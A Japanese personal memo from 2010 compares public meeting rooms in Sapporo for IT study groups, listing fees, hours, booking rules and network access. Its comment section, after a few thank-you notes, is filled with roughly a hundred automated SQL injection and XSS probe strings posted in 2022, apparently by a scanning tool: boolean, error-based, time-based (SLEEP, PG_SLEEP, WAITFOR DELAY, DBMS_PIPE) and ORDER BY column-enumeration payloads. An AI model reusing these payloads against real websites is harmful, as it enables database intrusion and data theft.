基本的に2010年5月現在の情報で作成しております。
私は札幌市内で勉強会などのイベント(主にIT系)に参加しているのですが、その際に会議室など10人〜数十人が集まれる部屋が必要となるため、そのような部屋を確保しに行くことがよくあります。
こういう部屋を借りるために必要な情報を、個人用メモとして書き残しておきます。
なお、ツッコミ等ありましたらコメント欄ないし、メール mainあっとまーくhhiro.net にお願いします。
- 私の関わっている団体の場合、だいたい公営の会議室を借りてます。立地が悪くないことが多いのと、費用的に安く済むので。
- ただし、土日は予約が早いうちに埋まることも多いです。
- なおこういう会場は大抵、営利利用だと料金が引き上げられます。
- 利用できる時間帯は、1日を3つに区切っていることが多いです(「午前」「昼〜夕方」「夕方〜夜間」)。
- 会場によっては、団体名の登録(事前に、団体名・代表者・団体の活動内容などを書いた書類を提出する)が必要な場合があります。
会場名 |
住所 |
利用料(抜粋)※「昼〜夕方」の時間帯のみ利用の場合 |
札幌エルプラザ |
北区 北8西3 |
環境研修室(40人)¥2600 / 研修室2(24人)¥1800 / 和室1(21人)¥1100 |
札幌市民ホール |
中央区 北1西1 |
第2会議室(74人)¥3700 / 第3会議室(24人)¥1700 / 第5会議室(18人)¥1300 |
かでる2.7 |
中央区 北2西7 |
550会議室(42人)¥3400 / 810A会議室(18人)¥2300 / 和室「えぞまつ」(24人)¥1100 |
札幌市産業振興センター |
白石区 東札幌5-1 |
セミナールームB(42人)¥4000 / セミナールーム2(40人)¥3000 / セミナールーム4(20人)¥2000 |
札幌市の各区民センター |
|
|
- 交通アクセス:良い(JR札幌駅北口すぐ)
- 時間帯区分:9:00〜12:00 / 13:00〜17:00 / 18:00〜22:00
- 申込について
- 申込可能時間:曜日に関わらず、8:45〜20:00
- 予約方法:電話で仮予約可能(1週間以内に現地へ向かい手続きする必要あり)
- 空き状況の確認:インターネットで可能
- 団体登録:必要
- インターネット設備:なし。ただしWiMAX機器の貸し出しあり(USB接続タイプ¥300、無線LANルータタイプ¥700)
交通アクセスがよい上にサービスもよく、いろいろと至れりつくせりである。
ただしそれだけに、休日の競争率は非常に高い。平日だと比較的空いているため、平日の夜に勉強会を開きたいときなどは、アクセスの良さも相まって重宝する。
休日や夜遅くでも申込が出来るのも便利。
- 交通アクセス:良い(地下鉄大通駅すぐ)
- 時間帯区分:9:00〜12:00 / 13:00〜16:30 / 17:30〜21:00
- 申込について
- 申込可能時間:平日・土曜(祝日除く)の9:00〜17:30
- 予約方法:現地での申し込みのみ
- 空き状況の確認:電話のみ
- 団体登録:不要(その都度団体名・代表者・住所を記入するのみ)
- インターネット設備:なし
- 注意点:電気料金加算あり。(詳細調査中)
札幌市民ホールと言うと大ホールのイメージが大きいかもしれないが、会議室もある。ある意味穴場。
全部で6部屋しかないのだが、その割に、部屋が極端に取りにくいということもない。そういう意味でも穴場である。
一つ難点を挙げるならば、空き状況が電話でしか確認できないので、急に部屋が必要になった場合に候補として使いにくいということがある。
- 交通アクセス:やや悪い(大通駅・札幌駅・西11丁目駅のいずれからも徒歩約10分)
- 時間帯区分:9:00〜12:00 / 13:00〜16:00 / 17:00〜21:00
- 申込について
- 申込可能時間:平日は9:00〜20:00、土曜・日曜・祝日は9:00〜18:00
- 予約方法:インターネットで仮予約可能(要事前登録、1週間以内に現地へ向かい手続きする必要あり)
- 空き状況の確認:インターネットで可能
- 団体登録:必要
- インターネット設備:なし
都心とはいえややアクセスが悪いこともあってか、札幌エルプラザや札幌市民ホールほど競争率は高くない印象がある。
ただ、この4施設の中では一番、部屋の大きさに対して料金が高めである。
- 交通アクセス:やや悪い(都心からは離れる。地下鉄東札幌駅から徒歩約7分)
- 時間帯区分:9:00〜12:00 / 13:00〜17:00 / 18:00〜22:00
- 申込について
- 申込可能時間:平日の9:00〜17:00
- 予約方法:電話で仮予約可能(1週間以内に現地へ向かい手続きする必要あり)
- 空き状況の確認:インターネットで可能
- 団体登録:必要
- インターネット設備:各部屋に無線LANのコネクタが1口あり。ただしポート制限あり(sshも通らない)。
- 注意点:電気料金加算あり。電気器具(パソコン等)の持込1台につき¥60が加算される(1時間帯あたり)。
上記の情報だけ見ると札幌エルプラザに近いが、平日日中にしか利用手続きが出来ないため、(札幌エルプラザと異なり)休日に利用したい場合は必ず、利用日よりも前に一度料金の支払いに行かないとならないというデメリットがある。もとい、そもそもその時間に申込に行ける人がいないと部屋を利用出来ない。
ただ上記3つに比べると、部屋数が多いことに加え立地がやや悪いこともあり、部屋は比較的確保しやすい。また、インターネットを使いやすいのもメリットである(誰かが無線LANルータとLANケーブル1本を持ってくるだけで、全員が無線でインターネット接続できるようになる)。
区民センターの貸室も比較的安く利用できるが、アクセスの悪さから、私が参加している勉強会等ではあまり利用されていない印象。ただ、中央区民センター(西11丁目駅近く)や東区民センター(東区役所前駅近く)は、都心から地下鉄で数駅ということもあり、たまに利用されている。
以下が一覧。交通のアクセスの観点で使いやすそうな順に(独断と偏見で)並べてます。
- とても役に立ちました。ありがとうございます。 - マツサカ (2013年03月01日 10時55分19秒)
- すごく参考になりました! - ともにゃんこ (2014年10月30日 22時29分17秒)
- 助かりました!ありがとうございます。 - ともこ (2015年01月06日 22時45分34秒)
- 1 - 1 (2022年01月19日 06時49分35秒)
- 1 - 1 (2022年05月31日 04時35分25秒)
- 1 - 1 (2022年05月31日 04時35分34秒)
- 1 - 1 (2022年05月31日 04時35分43秒)
- 1 - 8813 (2022年05月31日 04時35分44秒)
- 1 - 1))"')..,.. (2022年05月31日 04時35分45秒)
- 1 - 1'nSnSxv<'">CLQsvE (2022年05月31日 04時35分47秒)
- 1 - 1) AND 9240=5290 AND (7493=7493 (2022年05月31日 04時36分00秒)
- 1 - 1 AND 2840=2195 (2022年05月31日 04時36分01秒)
- 1 - 1 AND 9659=3301-- hsdS (2022年05月31日 04時36分03秒)
- 1 - 1') AND 7786=4845 AND ('UoQq'='UoQq (2022年05月31日 04時36分04秒)
- 1 - 1' AND 2331=7032 AND 'avIC'='avIC (2022年05月31日 04時36分05秒)
- 1 - (SELECT (CASE WHEN (4211=8100) THEN 1 ELSE (SELECT 8100 UNION SELECT 8504) END)) (2022年05月31日 04時36分07秒)
- 1 - 1) AND EXTRACTVALUE(5318,CONCAT(0x5c,0x71626b6271,(SELECT (ELT(5318=5318,1))),0x7170766271)) AND (7944=7944 (2022年05月31日 04時36分08秒)
- 1 - 1 AND EXTRACTVALUE(5318,CONCAT(0x5c,0x71626b6271,(SELECT (ELT(5318=5318,1))),0x7170766271)) (2022年05月31日 04時36分09秒)
- 1 - 1 AND EXTRACTVALUE(5318,CONCAT(0x5c,0x71626b6271,(SELECT (ELT(5318=5318,1))),0x7170766271))-- NXGW (2022年05月31日 04時36分10秒)
- 1 - 1') AND EXTRACTVALUE(5318,CONCAT(0x5c,0x71626b6271,(SELECT (ELT(5318=5318,1))),0x7170766271)) AND ('YOoZ'='YOoZ (2022年05月31日 04時36分10秒)
- 1 - 1' AND EXTRACTVALUE(5318,CONCAT(0x5c,0x71626b6271,(SELECT (ELT(5318=5318,1))),0x7170766271)) AND 'spvX'='spvX (2022年05月31日 04時36分11秒)
- 1 - 1) AND 3775=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (3775=3775) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)) AS NUMERIC) AND (1743=1743 (2022年05月31日 04時36分12秒)
- 1 - 1 AND 3775=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (3775=3775) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)) AS NUMERIC) (2022年05月31日 04時36分13秒)
- 1 - 1 AND 3775=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (3775=3775) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)) AS NUMERIC)-- Gsnq (2022年05月31日 04時36分14秒)
- 1 - 1') AND 3775=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (3775=3775) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)) AS NUMERIC) AND ('dahD'='dahD (2022年05月31日 04時36分15秒)
- 1 - 1' AND 3775=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (3775=3775) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)) AS NUMERIC) AND 'UoxN'='UoxN (2022年05月31日 04時36分16秒)
- 1 - 1) AND 8539 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8539=8539) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(98)+CHAR(113))) AND (1407=1407 (2022年05月31日 04時36分17秒)
- 1 - 1 AND 8539 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8539=8539) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(98)+CHAR(113))) (2022年05月31日 04時36分18秒)
- 1 - 1 AND 8539 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8539=8539) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(98)+CHAR(113)))-- lbYU (2022年05月31日 04時36分19秒)
- 1 - 1') AND 8539 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8539=8539) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(98)+CHAR(113))) AND ('khPP'='khPP (2022年05月31日 04時36分20秒)
- 1 - 1' AND 8539 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8539=8539) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(98)+CHAR(113))) AND 'uFIl'='uFIl (2022年05月31日 04時36分22秒)
- 1 - 1) AND 4544=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (4544=4544) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND (6771=6771 (2022年05月31日 04時36分23秒)
- 1 - 1 AND 4544=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (4544=4544) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) (2022年05月31日 04時36分24秒)
- 1 - 1 AND 4544=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (4544=4544) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL)-- kycD (2022年05月31日 04時36分25秒)
- 1 - 1') AND 4544=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (4544=4544) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND ('vlNI'='vlNI (2022年05月31日 04時36分26秒)
- 1 - 1' AND 4544=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (4544=4544) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND 'iIFt'='iIFt (2022年05月31日 04時36分27秒)
- 1 - (SELECT CONCAT(CONCAT('qbkbq',(CASE WHEN (7603=7603) THEN '1' ELSE '0' END)),'qpvbq')) (2022年05月31日 04時36分28秒)
- 1 - 1);SELECT PG_SLEEP(5)-- (2022年05月31日 04時36分29秒)
- 1 - 1;SELECT PG_SLEEP(5)-- (2022年05月31日 04時36分30秒)
- 1 - 1');SELECT PG_SLEEP(5)-- (2022年05月31日 04時36分31秒)
- 1 - 1';SELECT PG_SLEEP(5)-- (2022年05月31日 04時36分32秒)
- 1 - 1);WAITFOR DELAY '0:0:5'-- (2022年05月31日 04時36分33秒)
- 1 - 1;WAITFOR DELAY '0:0:5'-- (2022年05月31日 04時36分34秒)
- 1 - 1');WAITFOR DELAY '0:0:5'-- (2022年05月31日 04時36分36秒)
- 1 - 1';WAITFOR DELAY '0:0:5'-- (2022年05月31日 04時36分37秒)
- 1 - 1);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(81)||CHR(73)||CHR(98)||CHR(115),5) FROM DUAL-- (2022年05月31日 04時36分38秒)
- 1 - 1;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(81)||CHR(73)||CHR(98)||CHR(115),5) FROM DUAL-- (2022年05月31日 04時36分39秒)
- 1 - 1');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(81)||CHR(73)||CHR(98)||CHR(115),5) FROM DUAL-- (2022年05月31日 04時36分40秒)
- 1 - 1';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(81)||CHR(73)||CHR(98)||CHR(115),5) FROM DUAL-- (2022年05月31日 04時36分41秒)
- 1 - 1) AND (SELECT 1596 FROM (SELECT(SLEEP(5)))wlRp) AND (8864=8864 (2022年05月31日 04時36分42秒)
- 1 - 1 AND (SELECT 1596 FROM (SELECT(SLEEP(5)))wlRp) (2022年05月31日 04時36分43秒)
- 1 - 1 AND (SELECT 1596 FROM (SELECT(SLEEP(5)))wlRp)-- GQRt (2022年05月31日 04時36分44秒)
- 1 - 1') AND (SELECT 1596 FROM (SELECT(SLEEP(5)))wlRp) AND ('Wdmf'='Wdmf (2022年05月31日 04時36分45秒)
- 1 - 1' AND (SELECT 1596 FROM (SELECT(SLEEP(5)))wlRp) AND 'qKzN'='qKzN (2022年05月31日 04時36分46秒)
- 1 - 1) AND 4366=(SELECT 4366 FROM PG_SLEEP(5)) AND (2745=2745 (2022年05月31日 04時36分47秒)
- 1 - 1 AND 4366=(SELECT 4366 FROM PG_SLEEP(5)) (2022年05月31日 04時36分47秒)
- 1 - 1 AND 4366=(SELECT 4366 FROM PG_SLEEP(5))-- ZmXS (2022年05月31日 04時36分48秒)
- 1 - 1') AND 4366=(SELECT 4366 FROM PG_SLEEP(5)) AND ('LUYN'='LUYN (2022年05月31日 04時36分49秒)
- 1 - 1' AND 4366=(SELECT 4366 FROM PG_SLEEP(5)) AND 'sDrB'='sDrB (2022年05月31日 04時36分50秒)
- 1 - 1) WAITFOR DELAY '0:0:5' AND (7497=7497 (2022年05月31日 04時36分51秒)
- 1 - 1 WAITFOR DELAY '0:0:5' (2022年05月31日 04時36分52秒)
- 1 - 1 WAITFOR DELAY '0:0:5'-- BPPM (2022年05月31日 04時36分53秒)
- 1 - 1') WAITFOR DELAY '0:0:5' AND ('Nynx'='Nynx (2022年05月31日 04時36分54秒)
- 1 - 1' WAITFOR DELAY '0:0:5' AND 'pqsB'='pqsB (2022年05月31日 04時36分55秒)
- 1 - 1) AND 7947=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(81)||CHR(100)||CHR(86),5) AND (1464=1464 (2022年05月31日 04時36分56秒)
- 1 - 1 AND 7947=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(81)||CHR(100)||CHR(86),5) (2022年05月31日 04時36分57秒)
- 1 - 1 AND 7947=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(81)||CHR(100)||CHR(86),5)-- aZXH (2022年05月31日 04時36分58秒)
- 1 - 1') AND 7947=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(81)||CHR(100)||CHR(86),5) AND ('zLpt'='zLpt (2022年05月31日 04時36分59秒)
- 1 - 1' AND 7947=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(81)||CHR(100)||CHR(86),5) AND 'qVEQ'='qVEQ (2022年05月31日 04時37分00秒)
- 1 - 1) ORDER BY 1-- KQDv (2022年05月31日 04時37分00秒)
- 1 - 1) ORDER BY 1566-- BRhn (2022年05月31日 04時37分01秒)
- 1 - 1 ORDER BY 1-- EqbA (2022年05月31日 04時37分02秒)
- 1 - 1 ORDER BY 4857-- nLdJ (2022年05月31日 04時37分03秒)
- 1 - 1 ORDER BY 1-- ELWa (2022年05月31日 04時37分04秒)
- 1 - 1 ORDER BY 8043-- BOFO (2022年05月31日 04時37分05秒)
- 1 - 1') ORDER BY 1-- zFzY (2022年05月31日 04時37分06秒)
- 1 - 1') ORDER BY 7352-- OzwL (2022年05月31日 04時37分07秒)
- 1 - 1' ORDER BY 1-- splE (2022年05月31日 04時37分08秒)
- 1 - 1' ORDER BY 6785-- bzFJ (2022年05月31日 04時37分09秒)
- 6712 - 1 (2022年05月31日 04時37分10秒)
- 1..(,',").) - 1 (2022年05月31日 04時37分10秒)
- 1'LgHlZy<'">IkPUQB - 1 (2022年05月31日 04時37分11秒)
- 1) AND 2685=2441 AND (3198=3198 - 1 (2022年05月31日 04時37分19秒)
- 1 AND 9644=5419 - 1 (2022年05月31日 04時37分20秒)
- 1 AND 5160=7901-- lCOp - 1 (2022年05月31日 04時37分21秒)
- 1') AND 2639=7056 AND ('hKvN'='hKvN - 1 (2022年05月31日 04時37分22秒)
- 1' AND 2968=4025 AND 'YtIN'='YtIN - 1 (2022年05月31日 04時37分23秒)
- (SELECT (CASE WHEN (7385=9107) THEN 1 ELSE (SELECT 9107 UNION SELECT 5422) END)) - 1 (2022年05月31日 04時37分24秒)
- 1) AND EXTRACTVALUE(2238,CONCAT(0x5c,0x71626b6271,(SELECT (ELT(2238=2238,1))),0x7170766271)) AND (1953=1953 - 1 (2022年05月31日 04時37分25秒)
- 1 AND EXTRACTVALUE(2238,CONCAT(0x5c,0x71626b6271,(SELECT (ELT(2238=2238,1))),0x7170766271)) - 1 (2022年05月31日 04時37分26秒)
- 1 AND EXTRACTVALUE(2238,CONCAT(0x5c,0x71626b6271,(SELECT (ELT(2238=2238,1))),0x7170766271))-- hlEM - 1 (2022年05月31日 04時37分26秒)
- 1') AND EXTRACTVALUE(2238,CONCAT(0x5c,0x71626b6271,(SELECT (ELT(2238=2238,1))),0x7170766271)) AND ('rXpJ'='rXpJ - 1 (2022年05月31日 04時37分27秒)
- 1' AND EXTRACTVALUE(2238,CONCAT(0x5c,0x71626b6271,(SELECT (ELT(2238=2238,1))),0x7170766271)) AND 'lmVh'='lmVh - 1 (2022年05月31日 04時37分28秒)
- 1) AND 9721=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (9721=9721) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)) AS NUMERIC) AND (5340=5340 - 1 (2022年05月31日 04時37分29秒)
- 1 AND 9721=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (9721=9721) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)) AS NUMERIC) - 1 (2022年05月31日 04時37分30秒)
- 1 AND 9721=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (9721=9721) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)) AS NUMERIC)-- hFUM - 1 (2022年05月31日 04時37分31秒)
- 1') AND 9721=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (9721=9721) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)) AS NUMERIC) AND ('NCqn'='NCqn - 1 (2022年05月31日 04時37分32秒)
- 1' AND 9721=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (9721=9721) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)) AS NUMERIC) AND 'NZCj'='NZCj - 1 (2022年05月31日 04時37分33秒)
- 1) AND 3631 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3631=3631) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(98)+CHAR(113))) AND (7357=7357 - 1 (2022年05月31日 04時37分34秒)
- 1 AND 3631 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3631=3631) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(98)+CHAR(113))) - 1 (2022年05月31日 04時37分35秒)
- 1 AND 3631 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3631=3631) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(98)+CHAR(113)))-- VQbi - 1 (2022年05月31日 04時37分36秒)
- 1') AND 3631 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3631=3631) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(98)+CHAR(113))) AND ('qMSt'='qMSt - 1 (2022年05月31日 04時37分36秒)
- 1' AND 3631 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3631=3631) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(98)+CHAR(113))) AND 'nUry'='nUry - 1 (2022年05月31日 04時37分37秒)
- 1) AND 7666=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (7666=7666) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND (4282=4282 - 1 (2022年05月31日 04時37分38秒)
- 1 AND 7666=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (7666=7666) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) - 1 (2022年05月31日 04時37分39秒)
- 1 AND 7666=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (7666=7666) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL)-- DVVq - 1 (2022年05月31日 04時37分40秒)
- 1') AND 7666=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (7666=7666) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND ('PqKy'='PqKy - 1 (2022年05月31日 04時37分41秒)
- 1' AND 7666=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (7666=7666) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(118)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND 'Jhbw'='Jhbw - 1 (2022年05月31日 04時37分42秒)
- (SELECT CONCAT(CONCAT('qbkbq',(CASE WHEN (4866=4866) THEN '1' ELSE '0' END)),'qpvbq')) - 1 (2022年05月31日 04時37分43秒)
- 1);SELECT PG_SLEEP(5)-- - 1 (2022年05月31日 04時37分44秒)
- 1;SELECT PG_SLEEP(5)-- - 1 (2022年05月31日 04時37分45秒)
- 1');SELECT PG_SLEEP(5)-- - 1 (2022年05月31日 04時37分46秒)
- 1';SELECT PG_SLEEP(5)-- - 1 (2022年05月31日 04時37分47秒)
- 1);WAITFOR DELAY '0:0:5'-- - 1 (2022年05月31日 04時37分48秒)
- 1;WAITFOR DELAY '0:0:5'-- - 1 (2022年05月31日 04時37分49秒)
- 1');WAITFOR DELAY '0:0:5'-- - 1 (2022年05月31日 04時37分50秒)
- 1';WAITFOR DELAY '0:0:5'-- - 1 (2022年05月31日 04時37分51秒)
- 1);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(99)||CHR(100)||CHR(70),5) FROM DUAL-- - 1 (2022年05月31日 04時37分52秒)
- 1;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(99)||CHR(100)||CHR(70),5) FROM DUAL-- - 1 (2022年05月31日 04時37分53秒)
- 1');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(99)||CHR(100)||CHR(70),5) FROM DUAL-- - 1 (2022年05月31日 04時37分54秒)
- 1';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(99)||CHR(100)||CHR(70),5) FROM DUAL-- - 1 (2022年05月31日 04時37分54秒)
- 1) AND (SELECT 6316 FROM (SELECT(SLEEP(5)))Wbjr) AND (9882=9882 - 1 (2022年05月31日 04時37分55秒)
- 1 AND (SELECT 6316 FROM (SELECT(SLEEP(5)))Wbjr) - 1 (2022年05月31日 04時37分56秒)
- 1 AND (SELECT 6316 FROM (SELECT(SLEEP(5)))Wbjr)-- HJFv - 1 (2022年05月31日 04時37分57秒)
- 1') AND (SELECT 6316 FROM (SELECT(SLEEP(5)))Wbjr) AND ('YCER'='YCER - 1 (2022年05月31日 04時37分58秒)
- 1' AND (SELECT 6316 FROM (SELECT(SLEEP(5)))Wbjr) AND 'gZrr'='gZrr - 1 (2022年05月31日 04時37分59秒)
- 1) AND 3300=(SELECT 3300 FROM PG_SLEEP(5)) AND (8102=8102 - 1 (2022年05月31日 04時38分00秒)
- 1 AND 3300=(SELECT 3300 FROM PG_SLEEP(5)) - 1 (2022年05月31日 04時38分01秒)
- 1 AND 3300=(SELECT 3300 FROM PG_SLEEP(5))-- QlsJ - 1 (2022年05月31日 04時38分02秒)
- 1') AND 3300=(SELECT 3300 FROM PG_SLEEP(5)) AND ('dKpQ'='dKpQ - 1 (2022年05月31日 04時38分03秒)
- 1' AND 3300=(SELECT 3300 FROM PG_SLEEP(5)) AND 'BZQZ'='BZQZ - 1 (2022年05月31日 04時38分04秒)
- 1) WAITFOR DELAY '0:0:5' AND (1888=1888 - 1 (2022年05月31日 04時38分05秒)
- 1 WAITFOR DELAY '0:0:5' - 1 (2022年05月31日 04時38分06秒)
